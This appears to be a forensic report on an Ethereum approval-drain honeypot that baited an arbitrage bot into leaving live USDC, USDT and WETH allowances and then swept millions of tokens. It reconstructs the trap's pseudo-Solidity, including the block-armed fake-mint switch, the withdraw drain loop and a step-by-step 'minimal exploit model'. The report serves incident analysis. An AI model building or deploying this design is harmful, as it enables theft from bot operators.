waveygist

Approval-drain honeypot report: tx 0x2be8704f5a59b69e0b71f64aefdb99eb0e8ae9fb3926147c581910d71bcf3e65

Prepared: 2026-06-21

Evidence: local archive reth RPC traces, historical calls/storage reads, runtime bytecode snapshots, and the Etherscan transaction page.

Executive summary

This was an ERC-20 allowance drain against token owner / bot contract 0x1f2f10d1c40777ae1da742455c65828ff36df387.

The final transaction was not a swap. The coordinator contract 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52 called withdraw(address) on 66 child contracts. Each child checked the victim contract's real-token balance and its own allowance, then transferred the available amount to attacker recipient 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0.

Final assets moved:

Token Transfers Amount
WETH 16 1,474.582523004994977792
USDC 20 2,870,573.127680
USDT 14 2,035,760.155871

The setup was a tailored bait route. The bot EOA 0xae2fc483527b8ef99eb5d9b44875f005ba1fae13 called its own bot contract, which approved attacker-controlled child contracts to spend real WETH, USDC, and USDT. The route paid small real-token profits, but in the large batches the approvals were not consumed. They stayed live until the drain.

The trick was a block-armed mode switch. The same child contract behaved like a principal-consuming wrapper when unarmed, but like a fake mint when armed for the current block. The bot saw positive PnL; the attacker kept the residual allowance.

Key addresses

Role Address
Bot operator EOA 0xae2fc483527b8ef99eb5d9b44875f005ba1fae13
Token owner / bot contract 0x1f2f10d1c40777ae1da742455c65828ff36df387
Drain tx sender 0x5af38735b215b00aa7c9f93fed7ee415cecb36e1
Coordinator 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52
Trigger / batch updater 0x4de8c729a064ff6087cc84a4152969349e4feb98
Attacker recipient / owner 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0
Block coinbase paid by drain tx 0xfb74767c1ce1aada0a0e114441173b57f8c1571b
EIP-7702 delegate for recipient 0x63c0c19a282a1b52b07dd5a65b58948a07dae32b

Real tokens:

Token Address
USDC 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48
USDT 0xdac17f958d2ee523a2206206994597c13d831ec7
WETH 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Timeline

Time UTC Block Event
2026-06-20 18:29:47 25360599 Large USDC bait, armed
2026-06-20 18:29:59 25360600 Small USDC bait, unarmed
2026-06-20 18:43:23 25360667 Large USDT bait, armed
2026-06-20 18:43:35 25360668 Small USDT bait, unarmed
2026-06-20 18:47:47 25360689 Large WETH bait, armed
2026-06-20 18:47:59 25360690 Small WETH bait, unarmed
2026-06-20 18:49:11 25360696 Drain

The setup calldata selectors encoded the target token family:

Family Selector Token address prefix
USDC 0x2bd0a0b8 0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48
USDT 0x2bd0dac1 0xdac17f958d2ee523a2206206994597c13d831ec7
WETH 0x2bd0c02a 0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Bait transactions

The setup transactions paid the bot real-token profit while creating the approvals that later enabled the drain.

Tx Setup Real-token delta to bot contract Direct approvals created Approvals live before drain
0xf570bdf2c44760e5a6d8879c4244c9225cac7e9772e7bbb585b1522bd0519356 USDC large +36.997120 USDC 20 20
0x4256c6cb2cefe31a835869cbca5b1d8068a3d1acab71c17e76d41773264bea5f USDC small +3.699200 USDC 2 0
0x51a1aafacac4c30de964a44aa593e2bced9a000950fba0731d7c889f9470e14d USDT large +37.053440 USDT 20 20
0xaae9362662a94b822d9209c437dd78fcff0c50fd0fc275f13778fbd1e5cbfd02 USDT small +3.704832 USDT 2 0
0xa2c9d0a13cc985e3fe445ad8d8bc2d156eec2580b8b6700ab057f5f1f881de3f WETH large +0.017908845393215488 WETH, +0.048554 USDC 16 16
0xac87c816e765514f81821c8c0d32e0fd7c57271b13c0236f57742a96e8f746a5 WETH small +0.006722414092222464 WETH 6 0

Live allowances immediately before the drain, at block 25360695:

Token Live allowances Amount per allowance
USDC 20 143,528.656384
USDT 20 149,488.051712
WETH 16 92.161407687812186112

The small batches consumed their approvals in the same transaction. The large batches left dangling approvals.

Contract family

The honeypot was a coordinated contract family:

Role Example address Purpose
Coordinator 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52 Block arm, scratch state, final drain loop
Trigger / batch updater 0x4de8c729a064ff6087cc84a4152969349e4feb98 Same-block fake-market setup
Child / fake token / spender 0x74d3c4534178d72f16bd6663f69a7b8487f7882a ERC-20-looking fake token, real-token spender, drain primitive
Hub fake token 0xd370f4e528d83f9941ff2803685552660af7c238 Pays real-token profit and settles principal in unarmed mode
Ring V2 pair 0xa21742e31edbd26447c053d5b9c7b02b6954fb63 UniswapV2-like fake pair
Fake intermediate token 0xda54cc9a582180736ef9f25d9b19b0499ba03758 Fake path asset branded as fCAP / Caps

Representative runtime sizes:

Contract Runtime size
Coordinator 2,537 bytes
Child / fake token / spender 7,303 bytes
Hub fake token 6,795 bytes
Trigger / batch updater 12,102 bytes
Sample Ring V2 pair 11,270 bytes

The child and hub contracts are Solidity 0.6.6 ERC-20/Ownable-style contracts with extra private functions. The pair contracts are Solidity 0.5.16 UniswapV2-like contracts branded as Ring V2.

Coordinator mechanics

Key coordinator storage:

Slot Meaning
0 owner / attacker recipient: 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0
1 armed block number
2 current amount
3 packed state: low 160 bits are current child; byte above address is a boolean flag

Key selectors:

Selector Recovered behavior
0xb6e808af Arm current block, store block.number, forward msg.value to block.coinbase
0x4e69d560 Return block.number == armedBlock
0x086f6f56 Set current amount
0x4fbb30ed Return current amount
0x92bf5e86 Set current child
0x7bd215b5 Return current child
0x0f15f4c0 Return packed flag
0xc269a509 Drain loop: call child withdraw(address) for each supplied child

The attacker armed the coordinator before each large bait setup:

Block Tx index Tx Value
25360599 1 0x60d8a32552bf296de98f1130a0fdaa463ada55d33f0e48158b05c35e6ff1de04 0.025 ETH
25360667 0 0xa65d4ba9c4ec0cd484f4f4650b2425894ad6ee5866b3c990e685f9293dc69b9a 0.025 ETH
25360689 0 0x1a255c6da5e79cefcda9b08ad258bc59cd1ff16e2a86ad72617dca0b713d2b77 0.025 ETH

Each arm transaction forwarded the ETH to that block's coinbase.

Child spender mechanics

Representative child: 0x74d3c4534178d72f16bd6663f69a7b8487f7882a.

Important storage:

Slot Meaning
0 owner / drain recipient: 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0
1 packed name: USD Coin
2 packed symbol: fUSDC
3 decimals: 6
4 fake ERC-20 total supply
5 fake ERC-20 balances mapping
6 fake ERC-20 allowances mapping
7 real token: USDC in this sample
10 coordinator: 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52
11 bot EOA: 0xae2fc483527b8ef99eb5d9b44875f005ba1fae13

Key selectors:

Selector Recovered behavior
0x26599850 Setup primitive, recovered as wrapOrMint(uint256 amount, address pair)
0x51cff8d9 Drain primitive, recovered as withdraw(address tokenOwner)
Standard ERC-20 selectors name, symbol, decimals, balanceOf, transfer, transferFrom, approve, allowance

The setup primitive changes behavior based on the coordinator arm.

Armed mode:

require(amount > 0);
require(coordinator.isArmed());
coordinator.setChild(address(this));
coordinator.setAmount(amount);
_balances[pair] += amount; // fake token mint directly to pair
return amount;

Unarmed mode:

require(amount > 0);
realToken.transferFrom(msg.sender, address(this), amount);
_balances[pair] += amount;
return amount;

This is the core trap:

The drain primitive is simple:

require(msg.sender == coordinator || tx.origin == owner);

uint256 bal = realToken.balanceOf(tokenOwner);
uint256 allow = realToken.allowance(tokenOwner, address(this));

if (bal != 0 && allow != 0) {
    uint256 amount = bal < allow ? bal : allow;
    realToken.transferFrom(tokenOwner, owner, amount);
}

Here owner is 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0.

Hub and trigger mechanics

The hub fake token 0xd370f4e528d83f9941ff2803685552660af7c238 made the bait route appear profitable by paying real-token output.

For a representative large USDC leg:

Field Value
Coordinator amount 143,528.656384 USDC
Hub fake-token amount received by bot path 143,530.506240
Real USDC paid by hub to bot 1.849856 USDC
Child real USDC balance after armed mint 0

For a small USDC leg, the coordinator was not armed. The child first pulled real USDC from the bot, the hub paid apparent output, and then the hub pulled principal back from the child. Profit was paid, but the approval was consumed.

The trigger contract prepared fake pair reserves. In the large USDC setup block, tx 0xdb0534695fe0f9768bf22f637867414d2633833b73c41368e389fc684dd2e724 was index 2, immediately before the bot setup tx at index 3.

That trigger call supplied 22 second-leg pair addresses, one hub token, one input amount, and one output amount. For each supplied pair, it performed:

hub.transferFrom(0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, pair, inputAmount);
pair.swap(0, outputAmount, 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, "");

Concrete trace example:

hub.transferFrom(0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, 0x9ee8a76ebbda5da7f5f01728606dbb8b17b0a63f, 72698192454379)
0x9ee8a76ebbda5da7f5f01728606dbb8b17b0a63f.swap(0, 72262088173417, 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, "")

Same-block bait sequence

Large USDC block ordering:

Tx index Actor Tx Action
1 attacker sender 0x5af38735b215b00aa7c9f93fed7ee415cecb36e1 0x60d8a32552bf296de98f1130a0fdaa463ada55d33f0e48158b05c35e6ff1de04 Arm coordinator for block 25360599, pay 0.025 ETH to coinbase
2 attacker owner 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0 0xdb0534695fe0f9768bf22f637867414d2633833b73c41368e389fc684dd2e724 Trigger fake-pair reserve updates
3 bot EOA 0xae2fc483527b8ef99eb5d9b44875f005ba1fae13 0xf570bdf2c44760e5a6d8879c4244c9225cac7e9772e7bbb585b1522bd0519356 Execute apparent USDC arb; create 20 live USDC approvals

Representative USDC bait leg inside the bot tx:

  1. Bot contract approved real USDC to child/spender 0x74d3c4534178d72f16bd6663f69a7b8487f7882a for 143,528.656384 USDC.
  2. Bot contract called child selector 0x26599850.
  3. Bot contract called swap(uint256,uint256,address,bytes) on Ring V2 pair 0xa21742e31edbd26447c053d5b9c7b02b6954fb63.
  4. That pair sent fake intermediate token 0xda54cc9a582180736ef9f25d9b19b0499ba03758 to second Ring V2 pair 0xeb5b9b2cb7836b1534e8542fc338e90757993a38.
  5. The second pair sent hub token 0xd370f4e528d83f9941ff2803685552660af7c238 to the bot contract.
  6. The hub paid the bot real USDC profit.
  7. Because the coordinator was armed, the child did not pull the real USDC principal. The approval remained.

Drain transaction mechanics

Target transaction:

Field Value
Hash 0x2be8704f5a59b69e0b71f64aefdb99eb0e8ae9fb3926147c581910d71bcf3e65
Block 25360696
Timestamp 2026-06-20 18:49:11 UTC
From 0x5af38735b215b00aa7c9f93fed7ee415cecb36e1
To 0xb84db016324e8f2bfdd8dd9c260338aee0a8df52
Value 0.01 ETH
Gas used 1,378,524
Input selector 0xc269a509

The calldata contained:

For each child:

child.withdraw(0x1f2f10d1c40777ae1da742455c65828ff36df387)
token.transferFrom(0x1f2f10d1c40777ae1da742455c65828ff36df387, 0x3e37f4a10d771ba9de44b6d301410b1bedea65d0, min(balance, allowance))

Post-drain state:

Token Result
USDC All 20 large-batch allowances consumed to zero
WETH All 16 large-batch allowances consumed to zero
USDT 14 transfers drained available balance; 6 full allowances and 1 partial allowance remained nonzero, but the owner no longer had enough USDT balance for them to matter immediately

After the token transfers, the coordinator forwarded the 0.01 ETH tx value to coinbase 0xfb74767c1ce1aada0a0e114441173b57f8c1571b.

What the bot saw

The bot saw executable, profitable fake-DEX arbitrage:

The hidden state was not in immediate PnL. It was in post-state allowance:

realToken.allowance(0x1f2f10d1c40777ae1da742455c65828ff36df387, child) > 0

for high-value, attacker-controlled USDC, USDT, and WETH child spenders.

Minimal exploit model

// 1. Attacker arms current block.
coordinator.armCurrentBlock{value: bribe}();

// 2. Attacker mutates fake pair reserves so a searcher finds a route.
trigger.updatePairs(pairList, hubToken, inputAmount, outputAmount);

// 3. Bot executes the apparent route.
realToken.approve(child, amount);
child.wrapOrMint(amount, pair1); // armed mode: mint fake token, do not pull real token
pair1.swap(amount0Out, amount1Out, pair2, data);
pair2.swap(amount0Out, amount1Out, botContract, data);
hub.settle(received);            // pays small real profit

// 4. Later, attacker consumes the leftover approval.
child.withdraw(botContract);

The sophistication is in the stateful mode switch. The same fake-token family can act like a normal principal-consuming wrapper when unarmed, and like a non-consuming fake mint when armed. That gives the bot successful executions and real profit while leaving dangerous approvals behind for the later sweep.

gist: Approval-drain honeypot report: tx 0x2be8704f5a59b69e0b71f64aefdb99eb0e8ae9fb3926147c581910d71bcf3e65